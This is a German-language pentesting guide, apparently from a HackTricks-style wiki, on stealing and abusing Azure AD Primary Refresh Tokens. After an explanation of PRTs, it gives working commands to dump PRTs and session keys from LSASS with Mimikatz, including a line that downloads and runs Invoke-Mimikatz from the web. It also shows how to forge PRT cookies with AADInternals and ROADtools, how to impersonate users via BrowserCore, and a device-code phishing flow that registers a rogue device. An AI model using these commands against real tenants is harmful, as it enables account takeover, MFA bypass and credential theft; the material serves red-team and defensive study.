Az - Primary Refresh Token (PRT)

Reading time: 20 minutes

Was ist ein Primary Refresh Token (PRT)?

Ein Primary Refresh Token (PRT) ist ein langlebiger Refresh-Token, der in der Azure AD (Entra ID) Authentifizierung verwendet wird, analog zu einem Kerberos TGT. Er wird bei der Benutzeranmeldung auf einem Azure AD-verbundenen Gerät ausgegeben und kann verwendet werden, um Zugriffstoken für verschiedene Anwendungen anzufordern, ohne die Anmeldeinformationen erneut abzufragen. Jeder PRT wird von einem Sitzungsschlüssel (auch als Proof-of-Possession-Schlüssel bezeichnet) begleitet – einem symmetrischen Schlüssel, der verwendet wird, um Anfragen zu signieren und zu beweisen, dass der Client den PRT hat. Der PRT selbst ist ein undurchsichtiger, verschlüsselter Blob (nicht vom Client lesbar), während der Sitzungsschlüssel verwendet wird, um ein JWT, das den PRT enthält, bei der Anforderung von Token zu signieren. Mit anderen Worten, der Besitz des PRT allein ist unzureichend; ein Angreifer benötigt den Sitzungsschlüssel, um die Legitimität zu beweisen, ähnlich wie man sowohl ein Kerberos TGT als auch seinen Sitzungsschlüssel für die Authentifizierung benötigt.

Unter Windows werden der PRT und der Sitzungsschlüssel im LSASS-Prozess über das CloudAP-Plugin zwischengespeichert. Wenn ein Gerät über ein TPM (Trusted Platform Module) verfügt, bindet Azure AD Schlüssel an das TPM für zusätzliche Sicherheit. Das bedeutet, dass auf TPM-ausgestatteten Geräten der Sitzungsschlüssel im TPM gespeichert oder verwendet wird, sodass er unter normalen Umständen nicht direkt aus dem Speicher gelesen werden kann. Wenn kein TPM verfügbar ist (z. B. viele VMs oder ältere Systeme), werden die Schlüssel in Software aufbewahrt und mit DPAPI-Verschlüsselung geschützt. In beiden Fällen kann ein Angreifer mit administrativen Rechten oder Codeausführung auf der Maschine versuchen, den PRT und den Sitzungsschlüssel aus dem Speicher zu dumpen und sie dann verwenden, um den Benutzer in der Cloud zu impersonieren. Im Gegensatz zu typischen Refresh-Token (die normalerweise an eine Anwendung gebunden sind) ist ein PRT breiter gefasst und ermöglicht es Ihrem Gerät, Token für fast jede Entra ID-integrierte Ressource oder Dienst anzufordern.

Wie funktioniert ein PRT?

Hier ist eine vereinfachte Übersicht, wie ein PRT funktioniert:

1. Geräteregistrierung:

• Wenn Ihr Gerät (wie ein Windows-Laptop oder ein Mobiltelefon) sich bei Entra ID anmeldet oder registriert, authentifiziert es sich mit Ihren Anmeldeinformationen (Benutzername/Passwort/MFA).

• Nach erfolgreicher Authentifizierung gibt Entra ID einen PRT aus, der speziell an Ihr Gerät gebunden ist.

2. Token-Speicherung:

• Der PRT wird sicher auf Ihrem Gerät gespeichert, oft geschützt durch Hardwarefunktionen wie das Trusted Platform Module (TPM), was sicherstellt, dass es für unbefugte Dritte schwierig ist, ihn zu extrahieren oder missbräuchlich zu verwenden.

3. Single Sign-On (SSO):

• Jedes Mal, wenn Sie auf eine Entra ID-geschützte Anwendung (z. B. Microsoft 365-Apps, SharePoint, Teams) zugreifen, verwendet Ihr Gerät stillschweigend den gespeicherten PRT, um ein spezifisches Zugriffstoken für diese App anzufordern und zu erhalten.

• Sie müssen Ihre Anmeldeinformationen nicht wiederholt eingeben, da der PRT die Authentifizierung transparent behandelt.

4. Erneuerung und Sicherheit:

• PRTs haben eine lange Lebensdauer (typischerweise etwa 14 Tage), werden jedoch kontinuierlich erneuert, solange Ihr Gerät aktiv genutzt wird.

• Wenn Ihr Gerät kompromittiert oder verloren geht, können Administratoren Ihren PRT aus der Ferne widerrufen und sofort unbefugten Zugriff blockieren.

Warum sind PRTs mächtig?

• Universeller Zugriff: Im Gegensatz zu typischen Tokens, die auf eine App oder Ressource beschränkt sind, kann ein PRT den Zugriff auf alle Entra ID-integrierten Dienste erleichtern.

• Erhöhte Sicherheit: Mit integrierten Hardware-Schutzmaßnahmen (wie TPM) gewährleisten PRTs eine sichere Token-Speicherung und -Nutzung.

• Benutzererfahrung: PRTs verbessern die Benutzererfahrung erheblich, indem sie häufige Authentifizierungsaufforderungen reduzieren und echtes nahtloses SSO ermöglichen.

Wie erkennt man, ob ein PRT vorhanden ist?

• Überprüfen, ob ein PRT vorhanden ist:

# Execute
dsregcmd /status
## Check if the value of AzureAdPrt is set to YES

• Überprüfen, ob durch TPM geschützt:

Get-Tpm | Select TpmPresent,TpmReady,TpmEnabled,TpmOwned
# TpmPresent/Ready = True indicates the device can bind secrets to TPM.

dsregcmd /status
# In Device State / WHfB prerequisites you’ll typically see:
# KeyProvider = Microsoft Platform Crypto Provider ⇒ TPM hardware key;
# KeyProvider = Software Key Storage Provider ⇒ not TPM‑bound.
# Some builds also show TpmProtected: YES/NO and KeySignTest (run elevated to test).

PRT übergeben

Laut diesem Beitrag auf Windows-Geräten ohne TPM-Bindung leben der PRT und sein Sitzungsschlüssel in LSASS (CloudAP-Plugin). Mit lokalen Admin/SYSTEM-Rechten auf diesem Gerät kann der PRT-BLOB und der DPAPI-verschlüsselte Sitzungsschlüssel aus LSASS gelesen, der Sitzungsschlüssel über DPAPI entschlüsselt und der Signaturschlüssel abgeleitet werden, um ein gültiges PRT-Cookie (x‑ms‑RefreshTokenCredential) zu erstellen. Sie benötigen sowohl den PRT als auch seinen Sitzungsschlüssel – der PRT-String allein reicht nicht aus.

Mimikatz

1. Der PRT (Primary Refresh Token) wird aus LSASS (Local Security Authority Subsystem Service) extrahiert und für die spätere Verwendung gespeichert.
2. Der Sitzungsschlüssel wird als nächstes extrahiert. Da dieser Schlüssel zunächst ausgegeben und dann vom lokalen Gerät erneut verschlüsselt wird, ist eine Entschlüsselung mit einem DPAPI-Masterkey erforderlich. Detaillierte Informationen zu DPAPI (Data Protection API) finden Sie in diesen Ressourcen: HackTricks und für ein Verständnis seiner Anwendung verweisen Sie auf den Pass-the-cookie-Angriff.
3. Nach der Entschlüsselung des Sitzungsschlüssels werden der abgeleitete Schlüssel und der Kontext für den PRT erhalten. Diese sind entscheidend für die Erstellung des PRT-Cookies. Insbesondere wird der abgeleitete Schlüssel zum Signieren des JWT (JSON Web Token) verwendet, das das Cookie bildet. Eine umfassende Erklärung dieses Prozesses wurde von Dirk-jan bereitgestellt und ist hier zugänglich.

privilege::debug
sekurlsa::cloudap

# Or in powershell
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'

Das PRT-Feld enthält das verschlüsselte Refresh-Token (typischerweise ein Base64-String), und KeyValue im ProofOfPossessionKey ist der DPAPI-verschlüsselte Sitzungsschlüssel (ebenfalls Base64).

Kopieren Sie dann aus der sekurlsa::cloudap-Ausgabe den Base64-BLOB aus KeyValue innerhalb des Feldes ProofOfPossessionKey (dies ist der mit DPAPI verschlüsselte Sitzungsschlüssel). Dieser verschlüsselte Schlüssel kann nicht so verwendet werden – er muss mit den DPAPI-Anmeldeinformationen des Systems entschlüsselt werden.

Da die DPAPI-Verschlüsselung für Systemgeheimnisse den Systemkontext des Computers erfordert, heben Sie Ihr Token auf SYSTEM an und verwenden Sie das DPAPI-Modul von Mimikatz zur Entschlüsselung:

token::elevate
dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect

# PowerShell version
Invoke-Mimikatz -Command '"token::elevate" "dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect"'

Der token::elevate wird SYSTEM impersonifizieren und der dpapi::cloudapkd Befehl mit /unprotect wird den DPAPI-Master-Schlüssel verwenden, um den bereitgestellten KeyValue-BLOB zu entschlüsseln. Dies ergibt den Klartext-Sitzungsschlüssel sowie den zugehörigen abgeleiteten Schlüssel und Kontext, die zum Signieren verwendet werden:

• Klarer Schlüssel – der 32-Byte-Sitzungsschlüssel im Klartext (dargestellt als Hex-String).
• Abgeleiteter Schlüssel – ein 32-Byte-Schlüssel, der aus dem Sitzungsschlüssel und einem Kontextwert abgeleitet wurde (mehr dazu weiter unten).
• Kontext – ein 24-Byte-zufälliger Kontext, der beim Ableiten des Signaturschlüssels für das PRT-Cookie verwendet wurde.

Dann können Sie auch mimikatz verwenden, um ein gültiges PRT-Cookie zu generieren:

# Context is obtained from papi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
# Derivedkey is obtained from papi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
# PRT is obtained from sekurlsa::cloudap (filed "Prt"
dpapi::cloudapkd /context:<ContextHex> /derivedkey:<DerivedKeyHex> /prt:<PRT>

Mimikatz gibt ein signiertes JWT (das PRT-Cookie) nach der Zeile „Signature with key“ aus, das den PRT enthält und mit dem abgeleiteten Schlüssel signiert ist. Dieses JWT kann kopiert und dann in einer Web-Sitzung verwendet werden. Zum Beispiel kann ein Angreifer einen Browser öffnen, zu login.microsoftonline.com gehen und ein Cookie mit dem Namen x-ms-RefreshTokenCredential setzen, dessen Wert dieses JWT ist. Wenn der Browser aktualisiert oder navigiert, behandelt Azure AD die Sitzung als authentifiziert (das PRT-Cookie wird präsentiert, als ob SSO stattgefunden hätte), und es wird ein Autorisierungscode oder Zugriffstoken für die angegebene Ressource ausgegeben. In der Praxis würde man zu einer Ressource wie Office 365 oder dem Azure-Portal navigieren; das Vorhandensein eines gültigen PRT-Cookies bedeutet, dass Azure AD den Zugriff ohne zusätzliche Anmeldung gewährt (Umgehung von MFA, da der PRT bereits authentifiziert ist).

Sie könnten auch roadtx und roadrecon mit dem PRT des PRT-Cookies verwenden, um den Benutzer zu impersonieren (TODO: Finde die genauen Befehlszeilen, um roadtx/roadrecon zu verwenden, um Anmeldeinformationen von einem PRT zu erhalten).

Mimikatz + AADInternals

Das AADInternals PowerShell-Modul kann ebenfalls mit dem zuvor erhaltenen PRT und dem Sitzungsschlüssel verwendet werden, um ein gültiges PRT-Token zu generieren. Dies ist nützlich, um den Prozess der Beschaffung eines neuen PRT-Tokens mit Nonce zu automatisieren, das verwendet werden kann, um Zugriffstoken für die Azure AD Graph API oder andere Ressourcen abzurufen:

# Code from https://aadinternals.com/post/prt/
# Add the PRT to a variable
$MimikatzPRT = "MS5BVUVCNFdiUV9UZnV2RW13ajlEaFVoR2JCSWM3cWpodG9CZElzblY2TVdtSTJUdENBY1JCQVEuQWdBQkF3RUFBQUJWclNwZXVXYW1SYW0yakFGMVhSUUVBd0RzX3dVQTlQO...R0RjNFQ0QxaHJ1RFdJeHZUM0stWjJpQVhmMnBLeWpPaHBIOVc"

# Add padding
while($MimikatzPRT.Length % 4) {$MimikatzPRT += "="}

# Convert from Base 64
$PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))

# Add the session key (Clear key) to a variable
$MimikatzKey = "7ee0b1f2eccbae440190bf0761bc52099ad7ae7d10d28bd83b67a81a0dfa0808"

# Convert to byte array and base 64 encode
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzKey -replace '..', '0x$&,' -split ',' -ne ''))

# Generate a new PRTToken with nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey

# Get an access token for MS Graph API
Get-AADIntAccessTokenForMSGraph -PRTToken $prtToken

Dies erhält ein frisches PRT-Cookie (mit einem Nonce) und verwendet es dann, um ein Zugriffstoken für die Azure AD Graph API abzurufen (was den Cloud-Zugriff im Namen des Benutzers demonstriert). AADInternals abstrahiert einen Großteil der Kryptografie und verwendet Windows-Komponenten oder seine eigene Logik im Hintergrund.

Mimikatz + roadtx

• Erneuern Sie zuerst das PRT, das in roadtx.prt gespeichert wird:

roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>

• Jetzt können wir Tokens anfordern, indem wir den interaktiven Browser mit roadtx browserprtauth verwenden. Wenn wir den Befehl roadtx describe verwenden, sehen wir, dass das Zugriffstoken einen MFA-Anspruch enthält, da der PRT, den ich in diesem Fall verwendet habe, ebenfalls einen MFA-Anspruch hatte.

roadtx browserprtauth
roadtx describe < .roadtools_auth

Mimikatz + roadrecon

Mit dem Kontext und dem von mimikatz extrahierten Schlüssel ist es möglich, roadrecon zu verwenden, um ein neues signiertes Cookie zu generieren mit:

roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>

Missbrauch geschützter PRTs

Trotz der genannten Schutzmaßnahmen kann ein Angreifer, der bereits ein Gerät (als lokaler Benutzer oder sogar SYSTEM) kompromittiert hat, weiterhin den PRT missbrauchen, um frische Zugriffstoken zu erhalten, indem er die eigenen Token-Broker-APIs und Sicherheitskomponenten von Windows nutzt. Anstatt den rohen PRT oder Schlüssel zu extrahieren, "fragt" der Angreifer" Windows, den PRT in seinem Namen zu verwenden. In den folgenden Abschnitten skizzieren wir derzeit gültige Techniken zum Missbrauch von PRTs und deren Sitzungsschlüsseln auf aktuellen Windows-Geräten, auf denen TPM-Schutzmaßnahmen wirksam sind. Alle diese Techniken setzen einen Post-Exploitation-Zugriff auf die Zielmaschine voraus und konzentrieren sich auf den Missbrauch integrierter Authentifizierungsflüsse (keine ungepatchten Schwachstellen erforderlich).

Windows Token Broker Architektur und SSO-Fluss

Modernes Windows verwaltet die Cloud-Authentifizierung über einen integrierten Token Broker-Stack, der Komponenten sowohl im Benutzermodus als auch in LSASS (Local Security Authority) umfasst. Wichtige Teile dieser Architektur sind:

• LSASS CloudAP Plugin: Wenn ein Gerät mit Azure AD verbunden ist, lädt LSASS Cloud-Authentifizierungspakete (z. B. CloudAP.dll, aadcloudap.dll, MicrosoftAccountCloudAP.dll), die PRTs und Tokenanforderungen verwalten. LSASS (läuft als SYSTEM) orchestriert die Speicherung, Erneuerung und Nutzung von PRTs und kommuniziert mit dem TPM, um kryptografische Operationen durchzuführen (wie das Signieren einer PRT-Herausforderung mit dem Sitzungsschlüssel).

• Web Account Manager (WAM): Der Windows Web Account Manager ist ein Framework im Benutzermodus (über COM/WinRT-APIs zugänglich), das es Anwendungen oder Browsern ermöglicht, Token für Cloud-Konten anzufordern, ohne nach Anmeldeinformationen zu fragen. WAM fungiert als Broker zwischen Benutzeranwendungen und dem sicheren, von LSASS/TPM unterstützten PRT. Beispielsweise verwenden Microsofts MSAL-Bibliothek und bestimmte Betriebssystemkomponenten WAM, um Token stillschweigend unter Verwendung des PRT des angemeldeten Benutzers zu erwerben.

• BrowserCore.exe und Token Broker COM-Schnittstellen: Für Browser-SSO enthält Windows eine Komponente namens BrowserCore.exe (unter Windows Security\BrowserCore zu finden). Dies ist ein nativer Messaging-Host, der von Browsern (Edge, Chrome über eine Erweiterung usw.) verwendet wird, um ein PRT-abgeleitetes SSO-Token für die Azure AD-Anmeldung zu erhalten. Im Hintergrund nutzt BrowserCore ein von MicrosoftAccountTokenProvider.dll bereitgestelltes COM-Objekt, um ein PRT-basiertes Cookie/Token abzurufen. Im Wesentlichen ist diese COM-Schnittstelle eine First-Party-"Token Broker"-API, die jeder Prozess, der als Benutzer ausgeführt wird, aufrufen kann, um ein SSO-Token zu erhalten (vorausgesetzt, der Benutzer hat einen gültigen PRT in LSASS).

Wenn ein Azure AD-verbundener Benutzer versucht, auf eine Ressource (zum Beispiel das Azure-Portal) zuzugreifen, verläuft der Fluss typischerweise so: Eine Anwendung ruft die WAM- oder BrowserCore-COM-Schnittstelle auf, die wiederum mit LSASS kommuniziert. LSASS verwendet den PRT und den Sitzungsschlüssel (durch TPM gesichert), um ein SSO-Token zu erzeugen – oft als PRT-Cookie bezeichnet – das dann an die Anwendung oder den Browser zurückgegeben wird. Das PRT-Cookie ist ein spezielles JWT, das den verschlüsselten PRT und eine Nonce enthält, signiert mit einem Schlüssel, der aus dem Sitzungsschlüssel des PRT abgeleitet ist. Dieses Cookie wird an Azure AD (in einem x-ms-RefreshTokenCredential-Header) gesendet, um zu beweisen, dass das Gerät und der Benutzer einen gültigen PRT besitzen, was Azure AD ermöglicht, standardmäßige OAuth-Refresh- und Zugriffstoken für verschiedene Anwendungen auszustellen. Bemerkenswert ist, dass jede Multi-Faktor-Authentifizierungs (MFA)-Behauptung, die im PRT vorhanden ist, in die über diesen SSO-Prozess erhaltenen Token übernommen wird, was bedeutet, dass PRT-abgeleitete Token MFA-geschützte Ressourcen erfüllen können.

Token-Diebstahl auf Benutzerebene (Nicht-Admin)

Wenn ein Angreifer Codeausführung auf Benutzerebene hat, stoppt der TPM-Schutz des PRT den Angreifer nicht daran, Token zu erhalten. Der Angreifer nutzt die integrierten Windows Token Broker APIs:

BrowserCore (MicrosoftAccountTokenProvider COM)

BrowserCore stellt eine COM-Klasse (MicrosoftAccountTokenProvider, CLSID {a9927f85-a304-4390-8b23-a75f1c668600}) zur Verfügung, um PRT-Cookies abzurufen. Diese COM-API wird legitim von Browsern (Chrome/Edge-Erweiterungen) für Azure AD SSO aufgerufen.

• RequestAADRefreshToken

RequestAADRefreshToken.exe --uri https://login.microsoftonline.com

(Gibt ein Azure AD-Refresh-Token oder PRT-Cookie zurück)

• ROADtoken & ROADtools

ROADtoken wird BrowserCore.exe aus dem richtigen Verzeichnis ausführen und es verwenden, um ein PRT-Cookie zu erhalten. Dieses Cookie kann dann mit ROADtools verwendet werden, um sich zu authentifizieren und ein persistentes Refresh-Token zu erhalten.

Um ein gültiges PRT-Cookie zu generieren, benötigen Sie zunächst einen Nonce.
Sie können dies mit:

$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"

$Params = @{
"URI"     = $URL
"Method"  = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA

Oder mit roadrecon:

roadrecon auth prt-init

Dann können Sie roadtoken verwenden, um ein neues PRT zu erhalten (führen Sie das Tool aus einem Prozess des Benutzers aus, um anzugreifen):

.\ROADtoken.exe <nonce>

Als Einzeiler:

Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}

Dann können Sie das generierte Cookie verwenden, um Tokens zu generieren, um sich über Azure AD Graph oder Microsoft Graph anzumelden:

# Generate
roadrecon auth --prt-cookie <prt_cookie>

# Connect
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>

Web Account Manager (WAM) APIs

Angreifer verwenden legitime Microsoft-Authentifizierungsbibliotheken (MSAL, WAM APIs, WebAuthenticationCoreManager) aus Prozessen auf Benutzerebene, um stillschweigend Tokens unter Ausnutzung des TPM-geschützten PRT abzurufen.

• aadprt

execute-assembly aadprt.exe

(Ruft das PRT-Cookie über COM-Schnittstellen ab)

• listwamaccounts

execute-assembly listwamaccounts.exe

(Listet Azure AD-Konten, die über WAM angemeldet sind; identifiziert Token-Ziele)

• Generisches Beispiel (PowerShell mit MSAL):

$app = [Microsoft.Identity.Client.PublicClientApplicationBuilder]::Create("client-id").Build()
$result = $app.AcquireTokenSilent(@("https://graph.microsoft.com/.default"), $app.GetAccountsAsync().Result[0]).ExecuteAsync().Result
$result.AccessToken

(Stillschweigend ein Zugriffstoken unter Verwendung von PRT erhält)

Missbrauch von Administrator- / SYSTEM-Level-Token

Wenn der Angreifer auf Administrator oder SYSTEM eskaliert, kann er direkt jeden in Azure AD angemeldeten Benutzer impersonieren und dieselben COM/WAM-Tokenbroker-APIs verwenden. TPM-geschützte PRTs verhindern diese legitime Token-Ausstellung nicht.

Benutzer-Impersonation und Token-Abruf

Admin/SYSTEM könnte laufende Sitzungen anderer Benutzer impersonieren, um BrowserCore oder WAM zur Token-Generierung aufzurufen.

Dazu einfach den Benutzerprozess impersonieren (z. B. explorer.exe) und die Tokenbroker-APIs mit einer der im vorherigen Abschnitt kommentierten Techniken aufrufen.

Direkte LSASS- & Tokenbroker-Interaktion (Fortgeschritten)

Ein Administrator kann weiterhin mit LSASS arbeiten, um den PRT auszunutzen: Zum Beispiel könnte ein Admin Code in LSASS injizieren oder interne CloudAP-Funktionen aufrufen, um LSASS aufzufordern, ein Token zu erzeugen. Dirks Forschung stellte fest, dass ein Admin „mit PRT-Schlüsseln in LSASS unter Verwendung von Krypto-APIs interagieren“ kann. In der Praxis könnte dies bedeuten, die eigenen Funktionen von LSASS (über eine Technik wie API-Hooking oder RPC, falls verfügbar) zu verwenden, um ein PRT-Cookie zu generieren. Ein anderer Ansatz besteht darin, jedes Fenster auszunutzen, in dem der Sitzungsschlüssel im Speicher erscheinen könnte – zum Beispiel im Moment der PRT-Erneuerung oder der Geräteregistrierung, wenn er unverschlüsselt zur Verwendung ist. Solche Angriffe sind erheblich komplexer und situationsabhängig. Eine einfachere Taktik für Administratoren besteht darin, vorhandene Token-Handles oder Caches auszunutzen: LSASS speichert kürzlich ausgegebene Refresh-Token für Apps im Speicher (verschlüsselt mit DPAPI). Ein entschlossener SYSTEM-Angreifer könnte versuchen, diese DPAPI-geschützten Tokens (unter Verwendung des Master-Schlüssels des Benutzers, den ein Admin erhalten kann) zu extrahieren, um direkt Refresh-Token für bestimmte Anwendungen zu stehlen. Die einfachste und allgemeinste Methode bleibt jedoch die Impersonation und die Verwendung der dokumentierten Tokenbroker-Schnittstellen, da diese garantieren, dass Azure AD frische Tokens (mit allen richtigen Ansprüchen) ausstellt, anstatt zu versuchen, die Verschlüsselung zu knacken.

Phishing von PRTs

Missbrauch des OAuth Device Code-Flows unter Verwendung der Microsoft Authentication Broker-Client-ID (29d9ed98-a469-4536-ade2-f981bc1d605e) und der Device Registration Service (DRS)-Ressource, um ein Refresh-Token zu erhalten, das nach der Registrierung eines falschen Geräts in ein Primary Refresh Token (PRT) umgewandelt werden kann.

Warum das funktioniert

• PRT ist gerätegebunden und ermöglicht SSO für (fast) jede Entra-geschützte App.
• Die Kombination aus Broker-Client + DRS ermöglicht es, ein phished Refresh-Token gegen ein PRT einzutauschen, sobald ein Gerät registriert ist.
• MFA wird nicht umgangen: der Benutzer führt MFA während des Phishings durch; MFA-Ansprüche propagieren in das resultierende PRT, sodass der Angreifer auf Apps ohne weitere Aufforderungen zugreifen kann.

Voraussetzungen:

• Benutzerauthentifizierung über Device Code unter Verwendung der Broker-Client-ID (29d9ed98-a469-4536-ade2-f981bc1d605e) und DRS-Scopes/Ressource (z. B. 01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default oder https://enrollment.manage.microsoft.com/).
• Benutzer kann Geräte in Entra ID registrieren (Standard: erlaubt, kann jedoch eingeschränkt oder kontingentiert werden).
• Keine blockierenden CA-Richtlinien, die Device Code deaktivieren oder konforme/hybride Geräte für Ziel-Apps erfordern (diese verhindern nicht die Ausstellung von PRT, blockieren jedoch die Verwendung zur Zugriffssteuerung auf geschützte Apps).
• Angreifer-kontrollierter Host, um den Flow auszuführen und die Tokens/Geräteschlüssel zu halten.

Angriffsfluss:

1. Device Code-Auth mit client_id = Broker und DRS-Scopes/Ressource initiieren; den Benutzercode dem Opfer anzeigen.

curl -s -X POST \
"https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode" \
-d "client_id=29d9ed98-a469-4536-ade2-f981bc1d605e" \
-d "scope=01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default offline_access openid profile"

2. Das Opfer meldet sich auf der Microsoft-Website (legitime Benutzeroberfläche) an und schließt MFA ab → der Angreifer erhält ein DRS-scope Refresh-Token für den Broker-Client.

3. Registrieren Sie ein bösartiges Gerät im Mandanten mit diesem Refresh-Token (Geräteobjekt wird erstellt und mit dem Opfer verknüpft).

4. Upgrade zu einem PRT durch den Austausch des Refresh-Tokens + Geräteidentität/Schlüssel → PRT gebunden an das Gerät des Angreifers.

5. (Optionale Persistenz): Wenn MFA frisch war, registrieren Sie einen Windows Hello for Business-Schlüssel, um langfristigen, passwortlosen Zugriff zu gewährleisten.

6. Missbrauch: Einlösen des PRT (oder Erstellen eines PRT-Cookies), um Zugriffstoken für Exchange/Graph/SharePoint/Teams/benutzerdefinierte Apps als der Benutzer zu erhalten.

Öffentliche Tools und Proof-of-Concepts

• ROADtools/ROADtx: Automatisiert den OAuth-Flow, die Geräteregistrierung und Token-Upgrades.
• DeviceCode2WinHello: Einzeilige Skript, das den Gerätecode-Phishing zu PRT+WHfB-Schlüsseln automatisiert.

Referenzen

• Dirkjans Blogbeitrag über PRT
• Dirkjans Beitrag über Phishing von PRTs
• Dirkjans Beitrag über den Missbrauch von PRTs
• SpecterOps-Beitrag über Anfordern von Azure AD-Anforderungstoken
• AADInternals-Beitrag über PRTs
• blog.3or.de